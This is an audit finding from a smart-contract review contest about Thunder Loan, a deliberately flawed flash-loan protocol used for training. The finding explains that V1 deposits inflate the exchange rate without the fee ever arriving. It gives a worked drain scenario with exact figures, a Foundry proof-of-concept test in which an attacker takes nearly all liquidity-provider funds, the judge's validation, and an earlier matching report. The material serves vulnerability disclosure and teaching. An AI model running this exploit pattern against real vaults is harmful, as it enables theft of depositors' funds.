Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Thunder Loan — Unbacked Exchange-Rate Inflation in V1 deposit

Description

Thunder Loan V1 treats every liquidity deposit as if a flash-loan fee had just been paid. ThunderLoan.deposit mints AssetToken shares at the pre-fee exchange rate, then calls AssetToken.updateExchangeRate(getCalculatedFee(token, amount)) without ever transferring that fee into the vault.

updateExchangeRate scales the rate as:

newRate = oldRate * (totalSupply + fee) / totalSupply

so the aggregate redeem claim becomes (totalSupply + fee) * oldRate / 1e18. The only token movement on the deposit path is safeTransferFrom(..., amount). The fee never arrives.

After any successful deposit with fee > 0, the vault is already insolvent: T.balanceOf(A) < totalSupply * rate / 1e18, while s_currentlyFlashLoaning[T] remains false. There is no deposit-path check that the underlying inventory can cover outstanding claims. redeem only computes amountUnderlying = shares * rate / 1e18 and calls transferUnderlyingTo; it reverts only if the vault cannot pay that caller.

The result is permissionless theft of nearly 100% of existing TVL plus permanent insolvency of earlier LPs. The attack needs no Thunder Loan flash loan — an external flash loan of T is enough. V2 (ThunderLoanUpgraded.deposit) already omits the updateExchangeRate call, so this is a V1-only bug, but the protocol is still on V1 until the owner upgrades.

Deep Dive

Liquidity providers deposit underlying T and receive AssetToken shares. Shares redeem at:

amountUnderlying = shares * s_exchangeRate / 1e18

The exchange rate is supposed to rise only when a real fee is paid into the vault (the flash-loan path). The V1 deposit path incorrectly applies that same rate update.

1. Shares are minted at the stale rate

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

mintAmount uses the rate before the fee is applied. The depositor is credited as if they deposited amount of fully-backed underlying.

2. The rate is then inflated by a phantom fee

function updateExchangeRate(uint256 fee) external onlyThunderLoan {
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
if (newExchangeRate <= s_exchangeRate) {
revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
}
s_exchangeRate = newExchangeRate;
emit ExchangeRateUpdated(s_exchangeRate);
}

After the mint, totalSupply already includes the new shares. Multiplying the rate by (totalSupply + fee) / totalSupply increases the entire book of claims by fee * oldRate / 1e18 underlying, including the just-minted shares. No corresponding T is transferred.

getCalculatedFee is the same 0.3%-of-WETH-value fee used for flash loans:

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}

With s_feePrecision = 1e18, s_flashLoanFee = 3e15, and a TSwap price of 1e18 WETH per T (the repo mock, and any live pool with a positive WETH price), fee = amount * 3e15 / 1e18 = 0.003 * amount. As long as the oracle price of T is greater than zero, fee > 0 and newRate > oldRate.

3. Contrast with the flash-loan path, which is internally consistent

flashloan also calls updateExchangeRate(fee), but it then requires the fee to actually land in the vault:

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

Deposit has no such check. s_currentlyFlashLoaning[T] is never set during deposit, so repay cannot be used to backfill the missing fee even if someone wanted to. There is also no invariant of the form T.balanceOf(A) >= totalSupply * rate / 1e18.

4. Redeem pays the inflated claim first-come, first-served

function redeem(...) external ... {
...
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
assetToken.burn(msg.sender, amountOfAssetToken);
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
}

Whoever redeems while inventory remains is paid in full at the inflated rate. Later redeemers revert when the vault is empty. That is a solvency race, not a safety check.

5. Why a second depositor can drain the first

After LP deposit D at rate 1e18:

  • vault = D

  • shares = D

  • rate = 1e18 * (D + 0.003D) / D = 1.003e18

  • claim = 1.003D

  • deficit = 0.003D

The original LP cannot redeem max — the vault is already 0.003D short. An attacker who then deposits X is minted X / 1.003 shares (stale rate), after which the rate is inflated again by fee(X) = 0.003X. Because the attacker now holds almost all of the share supply, redeeming max pays them nearly the entire vault, including the LP's inventory. The extraction is maximized when X ≈ (1e18 / 3e15) * D = 333.333... * D, i.e. the attacker sizes the second deposit so their phantom fee is on the order of existing TVL.

V2 already removed this call:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Until the owner upgrades, V1 remains live and exploitable.

Exploitation

Preconditions: the owner has allowlisted T via setAllowedToken(T, true) (normal listing). AssetToken A is deployed with s_exchangeRate = 1e18 and zero supply. Any unprivileged address can then attack. Thunder Loan's own flashloan is not required; an external flash loan of T is enough to source the second deposit.

Fixture used in the executed Foundry test test_depositInflatesRateWithoutFeeInflow_breaksINV001_andDrainsLp:

  • ThunderLoan behind ERC1967Proxy, initialize(mockPoolFactory)

  • s_feePrecision = 1e18, s_flashLoanFee = 3e15

  • MockTSwapPool.getPriceOfOnePoolTokenInWeth() = 1e18 so fee = amount * 3e15 / 1e18

Step 1 — Owner lists the token

owner: ThunderLoan.setAllowedToken(T, true)

Deploys A with rate 1e18 and zero supply.

Step 2 — Honest LP deposits 1000e18 T

LP: deposit(T, 1000e18)
  • mints 1000e18 shares at rate 1e18

  • updateExchangeRate(3e18) → rate = 1.003e18

  • transfers 1000e18 T into A

  • s_currentlyFlashLoaning[T] == false

  • vault = 1000e18

  • claim = 1000e18 * 1.003e18 / 1e18 = 1003e18

  • deficit = 3e18 exactly

LP.redeem(max) now reverts: the vault cannot cover the inflated claim.

Step 3 — Attacker deposits 333000e18 T

The attacker holds or flash-borrows 333000e18 T (≈ 1e18/3e15 × TVL) and calls:

attacker: deposit(T, 333000e18)
  • mints 332003988035892323030907 shares at the stale rate 1.003e18

  • updateExchangeRate(999e18) inflates the rate again

  • transfers 333000e18 T

  • vault = 334000e18

  • aggregate claim = 335004996999999999872967

Step 4 — Attacker redeems max

attacker: redeem(T, type(uint256).max)
  • burns the attacker's shares

  • transferUnderlyingTo pays 333998988036035604343967 T

  • attacker profit = 998988036035604343967 T, taken from LP inventory

  • leftover vault = 1011963964395656033 against still-outstanding LP shares = 1000e18

  • LP redeem(max) still reverts

Post-tx2 claim 335004996999999999872967 vs vault 334000e18 matches the executed trace. The attacker returns the flash-borrowed 333000e18 and keeps ~998.99e18 T of profit — essentially the entire original TVL minus a dust remainder that can never satisfy the leftover LP shares.

Even a 1×-TVL second deposit extracts a smaller but still material profit. No privileged role, no Thunder Loan flash loan, and no oracle manipulation beyond the protocol's own TSwap price being positive are required.

Impact

High / Critical — direct theft of LP funds and permanent insolvency.

  • After the first deposit with fee > 0, the vault is already undercollateralized by exactly the phantom fee. Honest LPs cannot withdraw.

  • A follow-up depositor sizes X ≈ feePrecision / flashLoanFee × TVL (or any large multiple of TVL) and redeems at the inflated rate, extracting nearly 100% of existing TVL. Measured profit on a 1000e18 LP deposit: 998988036035604343967 T (~99.9% of LP inventory).

  • Remaining LP shares are permanently stuck; leftover dust cannot cover shares * rate / 1e18.

  • Reachability is permissionless after a normal setAllowedToken listing. Any unprivileged address can execute the drain. An external flash loan of T is sufficient working capital.

  • Confirmed by an executed differential Foundry test on V1 behind ERC1967Proxy, not proof-only.

This breaks the core LP invariant: deposited underlying plus actually received fees must cover all outstanding redeem claims.

Recommendation

  1. **Remove the fee-rate update from V1 deposit.** Match ThunderLoanUpgraded.deposit: mint shares, transfer amount, do not call updateExchangeRate. The rate should increase only when a real fee is paid on the flash-loan path.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
  1. Upgrade immediately. The protocol is UUPS-upgradeable and V2 already contains this fix. Ship the upgrade before further deposits accumulate.

  1. Do not "fix" deposit by charging the fee. Charging depositors a flash-loan fee is not the intended LP model and would still require the fee tokens to actually enter the vault before or atomically with the rate update.

  1. Add a solvency check wherever the rate is updated or shares are redeemed:

T.balanceOf(assetToken) >= assetToken.totalSupply() * assetToken.getExchangeRate() / 1e18

Revert (or mint fewer shares / raise the rate less) if the vault cannot cover outstanding claims. updateExchangeRate should only be called with a fee that has already been transferred into A.

  1. If any V1 deposits already occurred, treat the pool as insolvent: pause deposits/redeems, upgrade, then socialize the deficit or compensate LPs from a separate source. Do not leave first-come redeem as the allocation mechanism.


Proof of Concept

diff --git a/test/poc/DepositUnbackedFeeRateUpdatePoC.t.sol b/test/poc/DepositUnbackedFeeRateUpdatePoC.t.sol
new file mode 100644
index 0000000..164393f
--- /dev/null
+++ b/test/poc/DepositUnbackedFeeRateUpdatePoC.t.sol
@@ -0,0 +1,165 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.20;
+
+import { console } from "forge-std/Test.sol";
+import { BaseTest } from "../unit/BaseTest.t.sol";
+import { AssetToken } from "../../src/protocol/AssetToken.sol";
+
+/*

  • * PoC: ThunderLoan.deposit mints shares then inflates the exchange rate without fee inflow

  • *

  • * Setup (reviewer):

  • * git checkout 035f6dc903d7ac12c4ccf6d267a09810d3d64ef8

  • * forge install foundry-rs/forge-std --no-git --shallow

  • * forge install openzeppelin/openzeppelin-contracts@v4.9.3 --no-git --shallow

  • * forge install openzeppelin/openzeppelin-contracts-upgradeable@v4.9.3 --no-git --shallow

  • * forge test --match-test testdepositInflatesRateWithoutFeeInflowbreaksINV001_andDrainsLp -vvv

  • *

  • * Attacker model:

  • * Position: any unprivileged external user (EOA). No owner, no LP role, no flash-loan receiver contract.

  • * Preconditions: owner has already allowlisted T via setAllowedToken(T, true) (normal listing).

  • * At least one honest LP has deposited T. Protocol is still on V1 (ThunderLoan.deposit calls

  • * updateExchangeRate). Mock/live TSwap price of T is > 0 so getCalculatedFee is > 0.

  • * Inputs the attacker controls: deposit(T, amount) and redeem(T, type(uint256).max).

  • * Temporary capital ~= feePrecision / flashLoanFee * TVL of T (here 1e18/3e15 * 1000e18 = 333000e18).

  • * An external flash loan of T is enough; ThunderLoan.flashloan is NOT required.

  • *

  • * Root cause:

  • * ThunderLoan.deposit mints amount * 1e18 / rate shares, then calls

  • * AssetToken.updateExchangeRate(getCalculatedFee(token, amount)) which sets

  • * newRate = oldRate * (totalSupply + fee) / totalSupply. Only amount of T is

  • * transferred into the vault -- the fee never arrives. After any successful deposit

  • * with fee > 0, T.balanceOf(A) = totalSupply * exchangeRate / 1e18

  • /// whenever the token is not mid-flash-loan.

  • function _aggregateRedeemClaim(AssetToken asset) internal view returns (uint256) {

  • return (asset.totalSupply() * asset.getExchangeRate()) / asset.EXCHANGERATEPRECISION();

  • }

+

  • function testdepositInflatesRateWithoutFeeInflowbreaksINV001_andDrainsLp() public {

  • AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

+

  • // -------------------------------------------------------------------------

  • // Step 1 — honest LP deposits 1000e18 T

  • // mint 1000e18 shares at rate 1e18, then updateExchangeRate(3e18) → rate 1.003e18

  • // transfer 1000e18 T into A. Fee never arrives.

  • // -------------------------------------------------------------------------

  • tokenA.mint(liquidityProvider, LP_DEPOSIT);

  • vm.startPrank(liquidityProvider);

  • tokenA.approve(address(thunderLoan), LP_DEPOSIT);

  • thunderLoan.deposit(tokenA, LP_DEPOSIT);

  • vm.stopPrank();

+

  • uint256 vaultAfterLp = tokenA.balanceOf(address(asset));

  • uint256 claimAfterLp = _aggregateRedeemClaim(asset);

  • uint256 rateAfterLp = asset.getExchangeRate();

+

  • console.log("=== After LP deposit(T, 1000e18) ===");

  • console.log("vault T.balanceOf(A) ", vaultAfterLp);

  • console.log("aggregate redeem claim ", claimAfterLp);

  • console.log("exchangeRate ", rateAfterLp);

  • console.log("deficit (claim - vault) ", claimAfterLp - vaultAfterLp);

  • console.log("currentlyFlashLoaning ", thunderLoan.isCurrentlyFlashLoaning(tokenA));

  • console.log("LP shares ", asset.balanceOf(liquidityProvider));

+

  • assertEq(vaultAfterLp, EXPECTEDVAULTAFTER_LP, "vault should hold only the deposited amount");

  • assertEq(claimAfterLp, EXPECTEDCLAIMAFTER_LP, "claim inflated by unbacked fee");

  • assertEq(claimAfterLp - vaultAfterLp, EXPECTEDLPFEE, "deficit equals the phantom fee");

  • assertEq(rateAfterLp, 1.003e18, "rate inflated to 1.003e18");

  • assertFalse(thunderLoan.isCurrentlyFlashLoaning(tokenA), "deposit must not set flash-loan flag");

  • assertLt(vaultAfterLp, claimAfterLp, "INV001 already broken after a single deposit");

+

  • // LP cannot exit: redeem(max) tries to pull 1003e18 from a 1000e18 vault.

  • vm.prank(liquidityProvider);

  • vm.expectRevert("ERC20: transfer amount exceeds balance");

  • thunderLoan.redeem(tokenA, type(uint256).max);

+

  • // -------------------------------------------------------------------------

  • // Step 2 — attacker deposits 333000e18 T at the stale inflated rate,

  • // then immediately redeems max. This extracts almost all of the LP inventory.

  • // -------------------------------------------------------------------------

  • uint256 attackerBalBefore = tokenA.balanceOf(attacker);

  • tokenA.mint(attacker, ATTACKER_DEPOSIT);

+

  • vm.startPrank(attacker);

  • tokenA.approve(address(thunderLoan), ATTACKER_DEPOSIT);

  • thunderLoan.deposit(tokenA, ATTACKER_DEPOSIT);

+

  • uint256 vaultAfterAttackerDeposit = tokenA.balanceOf(address(asset));

  • uint256 claimAfterAttackerDeposit = _aggregateRedeemClaim(asset);

  • console.log("=== After attacker deposit(T, 333000e18) ===");

  • console.log("vault T.balanceOf(A) ", vaultAfterAttackerDeposit);

  • console.log("aggregate redeem claim ", claimAfterAttackerDeposit);

  • console.log("attacker shares ", asset.balanceOf(attacker));

+

  • assertEq(vaultAfterAttackerDeposit, EXPECTEDVAULTAFTERATTACKERDEPOSIT);

  • assertEq(claimAfterAttackerDeposit, EXPECTEDCLAIMAFTERATTACKERDEPOSIT);

  • assertLt(vaultAfterAttackerDeposit, claimAfterAttackerDeposit, "INV001 still broken");

+

  • thunderLoan.redeem(tokenA, type(uint256).max);

  • vm.stopPrank();

+

  • uint256 attackerReceived = tokenA.balanceOf(attacker) - attackerBalBefore;

  • uint256 attackerProfit = attackerReceived - ATTACKER_DEPOSIT;

  • uint256 leftoverVault = tokenA.balanceOf(address(asset));

  • uint256 leftoverLpShares = asset.balanceOf(liquidityProvider);

  • uint256 leftoverClaim = _aggregateRedeemClaim(asset);

+

  • console.log("=== After attacker redeem(max) ===");

  • console.log("attacker received ", attackerReceived);

  • console.log("attacker profit (from LP)", attackerProfit);

  • console.log("leftover vault ", leftoverVault);

  • console.log("outstanding LP shares ", leftoverLpShares);

  • console.log("leftover redeem claim ", leftoverClaim);

+

  • assertEq(attackerReceived, EXPECTEDATTACKERRECEIVED, "attacker redeemed more T than they deposited");

  • assertEq(attackerProfit, EXPECTEDATTACKERPROFIT, "profit taken from LP inventory");

  • assertEq(leftoverVault, EXPECTEDLEFTOVERVAULT, "dust left in vault");

  • assertEq(leftoverLpShares, LP_DEPOSIT, "LP shares still outstanding");

  • assertEq(asset.balanceOf(attacker), 0, "attacker fully exited");

  • assertGt(attackerProfit, 0, "theft of funds");

  • assertLt(leftoverVault, leftoverClaim, "LP remains insolvent");

+

  • // Honest LP is still stuck. Their 1000e18 shares cannot be redeemed.

  • vm.prank(liquidityProvider);

  • vm.expectRevert("ERC20: transfer amount exceeds balance");

  • thunderLoan.redeem(tokenA, type(uint256).max);

+

  • console.log("=== IMPACT ===");

  • console.log("Theft of funds: attacker extracted nearly 100% of LP TVL.");

  • console.log("Earlier LPs are permanently insolvent (redeem still reverts).");

  • }

+}

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!